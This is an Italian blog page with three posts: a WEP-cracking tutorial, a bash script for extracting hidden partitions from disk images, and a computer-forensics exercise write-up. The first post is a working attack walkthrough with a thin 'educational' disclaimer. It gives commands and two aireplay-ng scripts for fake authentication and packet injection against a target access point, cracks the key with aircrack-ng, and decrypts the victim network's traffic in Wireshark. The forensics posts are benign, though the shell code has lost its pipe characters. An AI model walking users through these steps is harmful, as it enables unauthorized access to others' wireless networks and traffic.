sabato 24 gennaio 2009

Samsung NC10 - Wep Cracking

Premetto che quest'articolo è solo a fini didattici, detto questo possiamo iniziare a parlare di come approntare il nostro netbook Samsung NC 10 per il wep cracking.

Primo step (Linux onboard):

Installare Linux Ubuntu o Kubuntu su una partizione libera oppure tramite Wubi, quest'ultimo sistema, vi permette di installare Linux direttamente da Windows, evitando così tutti i problemi di partizionamento ed una volta installato, al reboot del computer, avrete la doppia scelta Windows o Linux.

Secondo step (installiamo i driver MadWifi):

Facciamo il boot da Linux.
Installiamo i drivers wireless per Linux:
bisogna installare il pacchetto build-essential e compilare i driver madwifi ed i madwifi-tools (sudo apt-get install madwifi-tools), ma occorre disabilitiare i driver con restrizioni che riconoscono la scheda ma non le permettono di funzionare:
Sistema>Amministrazione>Driver Hardware e cliccare sul tasto Disattiva in basso a destra, quindi riavviare il sistema.
Dopo queste operazioni, scarichiamo gli ultimi driver madwifi da qui, ed estraiamoli sul Desktop, apriamo un terminale e digitiamo:
sudo apt-get install build-essential, che è il pacchetto contenente i software necessari alla compilazione dei driver, quindi sempre da terminale, si passerà alla compilazione dei drivers:
cd Scrivania/madwifi-hal* (se abbiamo scompattato i drivers sul Desktop)
sudo make
sudo make install
sudo modprobe ath_pci


Per far sì che i drivers siano caricati automaticamente all’avvio.
sudo gedit /etc/modules o sudo kate /etc/modules
e in fondo al file, aggiungiamo:
ath_pci
salviamo e riavviamo.
Al riavvio successivo, la scheda wireless dovrebbe essere visibile e configurabile cliccando sull’icona di Network Manager nel tray, oppure, vi consiglio di usare WiCd e disinstallare il Networtk Manager.
(Nota personale: dopo tutta questa procedura, ho pure ripristinato i driver con restrizioni e tutto funziona)

Terzo Step (armiamo il sistema):

Scarichiamo la suite Aircrack-ng da Installa pacchetti o da terminal windows digitando:

sudo apt-get install aircrack-ng

Dopo quest'operazione digitiamo in terminal window il comando:

iwconfig

dovremmo vedere una cosa simile (ho oscurato i miei riferimenti con delle X):


wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"XXXXXX" Nickname:""
Mode:Managed Frequency:2.437 GHz Access Point: XX:XX:XX:XX:XX:XX
Bit Rate:24 Mb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Power Management:off
Link Quality=32/70 Signal level=-61 dBm Noise level=-93 dBm
Rx invalid nwid:780 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


Adesso ci tocca mettere la nostra scheda wireless (ath0) in "Monitor mode", quindi digitiamo:

sudo airmon-ng stop ath0
sudo airmon-ng start wifi0


poi

iwconfig
wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.437 GHz Access Point:
Bit Rate:24 Mb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Power Management:off
Link Quality=32/70 Signal level=-61 dBm Noise level=-93 dBm
Rx invalid nwid:780 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


A questo punto dobbiamo rilevare le reti disponibili:
scriviamo:

sudo airodump-ng ath0

e avremo un output del genere:

CH 11 ][ BAT: 34 mins ][ Elapsed: 8 s ][ 2009-01-24 12:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:XX:2E:XX:XX:A8 8 4 2 0 11 54. WEP WEP Pippo
00:E4:AA:73:68:XX 28 27 0 0 6 54. WPA TKIP PSK
BSSID STATION PWR Rate Lost Packets Probes

dal quale capiamo che c'è una rete wireless protetta dal WEP, sul canale 11 con MAC Adddress: 00:XX:2E:XX:XX:A8 e ESSID: Pippo

adesso possiamo iniziare l'attacco, apriamo 4 terminal windows, nella prima scriviamo:

sudo airodump-ng atho -w pacchetti_pippo --bssid 00:XX:2E:XX:XX:A8 -c 11

Ma, facciamo un passo indietro, prima di lanciare airodump-ng, dobbiamo scrivere un paio di script bash:

primo.sh
# /bin/bash/
# questo script serve ad autenticarvi presso l'AP (Access Point) da attaccare
#echo "Scrivi il mio mac:"
#read mio_mac
echo "Scrivi l'interfaccia settata in monitor mode:"
read i
# qui mettete il Mac della vostra scheda
# lo scoprite con iwconfig
mio_mac="00:00:00:00:00:00"
echo "scrivi il MAC ADDRESS DELL'AP da attaccare"
read mac_ap
echo "scrivi l'essid della wlan da attaccare:"
read SSID_wlan
aireplay-ng -1 0 -e $SSID_wlan -a $mac_ap -h $mio_mac $i

Qui i dati saranno il MAC di Pippo e il nome Pippo (essid).


Lanciamo primo.sh con:


sudo sh primo.sh

Poi scriviamo secondo.sh:
# /bin/bash/
# qui mettete il Mac della vostra scheda
# lo scoprite con iwconfig
mio_mac="00:00:00:00:00:00"
echo "Scrivi l'interfaccia settata in monitor mode:"
read i
echo "Scrivi ESSID dell'AP:"
read e
echo "scrivi il MAC ADDRESS DELL'AP"
read mac_ap
aireplay-ng -3 -e $e -b $mac_ap -h $mio_mac $i


lanciamo secondo.sh con:


sudo sh secondo.sh

Questo script serve a iniettare (packet injection), i pacchetti sull'AP, al fine di generare traffico e poter catturare molti pacchetti, da dare in pasto all'ultima arma: aircrack-ng

nell'ultima terminal window scriviamo:

sudo aircrack-ng -z -b mac_di_pippo pacchetti_pippo*.cap

ma basterebbe anche solo:
sudo aircrack-ng -z pacchetti_pippo*.cap

lasciamolo lavorare....dopo un tot. di tempo, dai 3 ai 10 minuti, a seconda della forza del segnale, otterrete una key found in esadecimale:

KEY FOUND! [ XX:D1:F2:67:4D:18:6B:XX:XX:XX:1X:XX:XX ]
Decrypted correctly: 100%

A questo punto abbiamo la password in esadecimale, la possiamo già usare così, inserendola nel nostro gestore di reti, sia in Windows sia in Linux, la WEP Key Hex e non la WEP Key Passphrase.
Però, se vogliamo vedere se caso mai è una key umanamente leggibile possiamo provare a scrivere questo:

echo key_trovata xxd -r -p

Adesso rimane l'ultimo problema, come trovare la sottorete ed il gateway dell'AP di Pippo?

lanciamo Wireshark, che avete previamente scaricato ed installato, poi apriamo i pacchetti pippo_pacchetti.cap (da File->Apri)
andiamo a su Edit -> Preferenze-> Protocolli
sceliamo il protocollo IEEE 802.11
ed inseriamo nel campo key1 la key che abbiamo trovato, poi un bel Applica ed infine un OK.
A questo punto vedremo i paccchetti in chiaro, con anche i botta e risposta del gateway col nostro computer, da qui si può risalire a che sottorete appartenga l'AP attaccato e qual'è il gateway.
Per i DNS, basterà usare gli OpenDNS ed il gioco è fatto!

Chiaramente, il wireshark, può anche non servire, se l'AP ha il DHCP attivato, quindi assegna automaticamente indirizzo IP, Gateway e DNS.

Infine scriviamo:

sudo rmmod ath_pci
e
sudo modprobe ath_pci

al fine di ripristinare la nostra scheda wireless per poter navigare.


Naturalmente, si può ampliare il discorso degli attacchi aireplay, del forging del MAC della propria scheda, dell'uso di Kismet...ma questo lo lascio a voi ;)



Nanni Bassetti


sabato 10 gennaio 2009

MultiFS Detector and Extractor

Dall'esercizio proposto da Mario Pascucci (QUI), mi è venuta l'ispirazione per scrivere questo scriptino, che non fa altro che cercare, tramite sigfind, le signature 55AA delle partizioni FATx e NTFS, e poi dagli offset, ricavati dalla moltiplicazione del numero di settore, trovato da sigfind, per 512 bytes, ricava il valore dei byte 32,33,34,35 delle FATx o da 40 a 48 per le NTFS, trovate e li converte in Big Endian, per poi calcolare la lunghezza totale della partizione in settori.
Infine, crea tutte le immagini dd contenenti le possibili partizioni nascoste.


Sicuramente è grezzo, però abbastanza veloce, su 2Gb di pen-drive con tre strati, ci ha messo poco più di 20 minuti.


Attualmente funziona su Fat12,Fat16,Fat32,NTFS,Ext2/3



#!/bin/bash
# MultiFS detector and extractor by Nanni Bassetti - Blog: http://www.nannibassetti.com/dblog WEB Site: http://www.nannibassetti.com
# It can detect and extract hidden file systems and partitions from the mass memory support.
# It runs in this way e.g.: sh multifs.sh fat disk.dd or multifs.sh fat /dev/sda
# It works only on ntfs,fat12,fat16,fat32, ext2,ext3.
# Important things:
# FATx: sector size; bytes 11-12
# ext2/3: Block size (saved as the number of places to shift 1,024 to the left); bytes 24-27
# NTFS: sector size bytes; from 11 to 12
# ReiserFs: sector size bytes; 12-13


file=$2 # file or dev
fs=$1 # file system
date
# looking for the signatures
sigfind -t $fs $file > sigs.txt
# FAT case
if [ "$fs" = "fat" ]
then
# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))
# controlling the word "FAT" inside the target partition
fat_flag=$(xxd -s $offset -l 512 $file grep -i FAT)
if [ "$fat_flag" ]
then
# looking for the sector size
start_bs=$(echo $offset + 11 bc)
xxd -s $start_bs -l 2 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=1 count=1 bs=1c
dd if=bs.bin of=b2 skip=0 count=1 bs=1c
cat b1 b2 > bs.dat
rm b1
rm b2
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
bs=$(echo "obase=10; ibase=16; $lenbs" bc)

# check if byte 32-35 are 0 then the fat type is fat12
start_byte_fat_len=$(echo $offset + 32 bc)
check_fat12=$(xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r)
if [ ! "$check_fat12" ]
then
echo "File System chosen: FAT12"
start_byte_fat_len=$(echo $offset + 19 bc)
# extracting bytes 19-20 from FAT
xxd -s $start_byte_fat_len -l 2 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=1 count=1 bs=1c
dd if=lung.bin of=l2 skip=0 count=1 bs=1c
cat l1 l2 > l.dat
rm l1
rm l2
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
ls -l *.dd
else
echo "File System chosen: $fs"
echo "Sector size: "$bs
start_byte_fat_len=$(echo $offset + 32 bc)
# extracting bytes 32-35 from FAT
xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=3 count=1 bs=1c
dd if=lung.bin of=l2 skip=2 count=1 bs=1c
dd if=lung.bin of=l3 skip=1 count=1 bs=1c
dd if=lung.bin of=l4 skip=0 count=1 bs=1c
cat l1 l2 l3 l4 > l.dat
rm l1
rm l2
rm l3
rm l4
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
ls -l *.dd
fi # end check FAT12
fi # end check if there is the FAT word
done
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi # end check if fs is FAT type


# NTFS CASE
if [ "$fs" = "ntfs" ]
then


# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))


# controlling the word "NTFS" inside the target partition
fat_flag=$(xxd -s $offset -l 512 $file grep -i ntfs)
if [ "$fat_flag" ]
then
# looking for the sector size
start_bs=$(echo $offset + 11 bc)
xxd -s $start_bs -l 2 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=1 count=1 bs=1c
dd if=bs.bin of=b2 skip=0 count=1 bs=1c
cat b1 b2 > bs.dat
rm b1
rm b2
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
bs=$(echo "obase=10; ibase=16; $lenbs" bc)
echo "File System chosen: $fs"
echo "Sector size: "$bs
# extracting bytes 40-47 from the NTFS boot sector
start_byte_fat_len=$(echo $offset + 40 bc)
xxd -s $start_byte_fat_len -l 8 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=7 count=1 bs=1c
dd if=lung.bin of=l2 skip=6 count=1 bs=1c
dd if=lung.bin of=l3 skip=5 count=1 bs=1c
dd if=lung.bin of=l4 skip=4 count=1 bs=1c
dd if=lung.bin of=l5 skip=3 count=1 bs=1c
dd if=lung.bin of=l6 skip=2 count=1 bs=1c
dd if=lung.bin of=l7 skip=1 count=1 bs=1c
dd if=lung.bin of=l8 skip=0 count=1 bs=1c
cat l1 l2 l3 l4 l5 l6 l7 l8> l.dat
rm l1
rm l2
rm l3
rm l4
rm l5
rm l6
rm l7
rm l8
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
dd if=$file of=hidden$j.dd skip=$i count=$len2 bs=$bs
rm l.dat
fi
done
ls -l *.dd
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi


# ext2/3 case (please test it!)
if [ "$fs" = "ext2" ] [ "$fs" = "ext3" ]
then
# taking only the sectors
for i in $(cat sigs.txt awk -F "Block:" '{print $2}'awk '{print $1}')
do
offset=$(( $i*512 ))
j=$(( j+1 ))


# looking for the blocks size
start_bs=$(echo $offset + 24 bc)
xxd -s $start_bs -l 4 $file awk -F ":" '{print $2}' xxd -p -r >bs.bin
#converting in big endian
dd if=bs.bin of=b1 skip=3 count=1 bs=1c
dd if=bs.bin of=b2 skip=2 count=1 bs=1c
dd if=bs.bin of=b3 skip=1 count=1 bs=1c
dd if=bs.bin of=b4 skip=0 count=1 bs=1c
cat b1 b2 b3 b4 > bs.dat
rm b1
rm b2
rm b3
rm b4
rm bs.bin
#calculating the sector size length
lenbs=$(cat bs.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
lenbs2=$(echo "obase=10; ibase=16; $lenbs" bc)
#Block size (saved as the number of places to shift 1,024 to the left)
# "<<" is the left shift bitwise operator
bs=$[ "1024 << $lenbs2" ]
echo "File System chosen: $fs"
echo "Sector size: "$bs
echo $start_byte_fat_len
# extracting bytes 4-7 from the EXT Superblock
start_byte_fat_len=$(echo $offset + 4 bc)
xxd -s $start_byte_fat_len -l 4 $file awk -F ":" '{print $2}' xxd -p -r >lung.bin
#converting in big endian
dd if=lung.bin of=l1 skip=3 count=1 bs=1c
dd if=lung.bin of=l2 skip=2 count=1 bs=1c
dd if=lung.bin of=l3 skip=1 count=1 bs=1c
dd if=lung.bin of=l4 skip=0 count=1 bs=1c


cat l1 l2 l3 l4 > l.dat
rm l1
rm l2
rm l3
rm l4
rm lung.bin
#calculating the partition length
len=$(cat l.datxxd -p tr [:lower:] [:upper:])
# converting in decimal
len2=$(echo "obase=10; ibase=16; $len" bc)
# $(($i-2)) because it starts 2 sectors before the signature
dd if=$file of=hidden$j.dd skip=$(($i-2)) count=$len2 bs=$bs
rm l.dat
rm bs.dat
done
ls -l *.dd
echo "File System chosen: $fs"
echo "Sector size: "$bs
fi


date
exit




Click here to DOWNLOAD

domenica 4 gennaio 2009

Soluzione test di Computer Forensics

Il bravo Mario Pascucci ha pubblicato la soluzione al suo test/esercizio di computer forensics QUI :)

Il caro amico Denis Frati ha risolto meglio di tutti i partecipanti...quindi COMPLIMENTI!!!!
Ma vediamo come ho agito io, superficialmente e non dedicandomi a fondo, peccato, ma quando c'è agonismo mi faccio prendere dalla fretta : - D, un difetto che mi porto dietro da quando ero piccolo, mi sa che mi converrebbe un corso di Yoga : - D
Ok, vediamo le mie soluzioni:
Lancio FTK Imager da Windows è vedo subito che:
La partizione visibile si chiama: data-hide seriale 48FD-A890
img_0085.jpg
img_0090.jpg
img_0112.jpg
img_0133.jpg
linux_virus.pdf


Ho beccato la partizione nascosta (Volume Label: nascosto1 Seriale: 48FD-AE42) è l'ho estratta con FTK Imager e anche col  dd tagliandola dal settore 1972530 per un numero di settori pari 1976014
ricavando un'immagine di 1Gb circa (964Mb).

Con FTK Imager le JPG dei circuiti elettronici e della casa al buio si vedono subito e si salvano:
IMG_0154.jpg, 155,156,477

i file system sono entrambi:
FAT32
Della partizione data-hide ci sono 11,8 Mb occupati e 949Mb liberi
Linux_virus.pdf creato il 21/10/2008 12.10,59  modificato il 06/09/2008
23.08
IMG_0133.JPG creato il 21/10/2008 12.08 modificato il 19/08/2007 19.08
IMG_0112.JPG creato il 21/10/2008 12.08  modificato il 15/08/2007 12.08
IMG_0090.JPG creato il 21/10/2008 12.08  modificato il 12/08/2007 12.08
IMG_0085.JPG creato il 21/10/2008 12.08  modificato il 12/08/2008 12.08,

nascosto111,1 Mb spazio occupato e 951Mb libero
IMG_0477.JPG Creato:21/10/2008 12.26,57 modificato: 21/10/2008 12.26,46
IMG_0156.JPG Creato:21/10/2008 12.26,57 modificato: 21/10/2008 12.26,40
IMG_0155.JPG Creato:21/10/2008 12.26,56 modificato: 21/10/2008 12.26,38
IMG_0154.JPG Creato:21/10/2008 12.26,56 modificato: 21/10/2008 12.26,34

Chiaramente usando il carving si sarebbero beccati anche gli altri file, che mi avrebbero messo in allarme, sulla presenza di un'ulteriore partizione (la famigerata nascosto2), ma sono stato ligio alle regole e non ho usato il carving, se non dopo aver dato la soluzione iniziale.
Cosa si poteva fare?
Usare sigfind dello Sleuthkit per avere tutte le firme che individuano la partizione, ottenendo il risultato in settori, ecc. ecc. seguendo la risoluzione di Denis.... : - )Spesso la memoria e la fretta ci tradiscono, chiaramente, sono cose che "devono/possono" accadere solo nei game e non nella realtà (si spera), dove si ha più tempo e più concentrazione e confronto con gli altri.....
Anche col carving si poteva risolvere e partendo dall'offset del file e conoscendo l'inizio della partizione nascosto2 si poteva, anche col semplice fls o con ifind ed icat risolvere... : - )
Bhè ottimo esercizio didattico....di nuovo complimenti a Mario!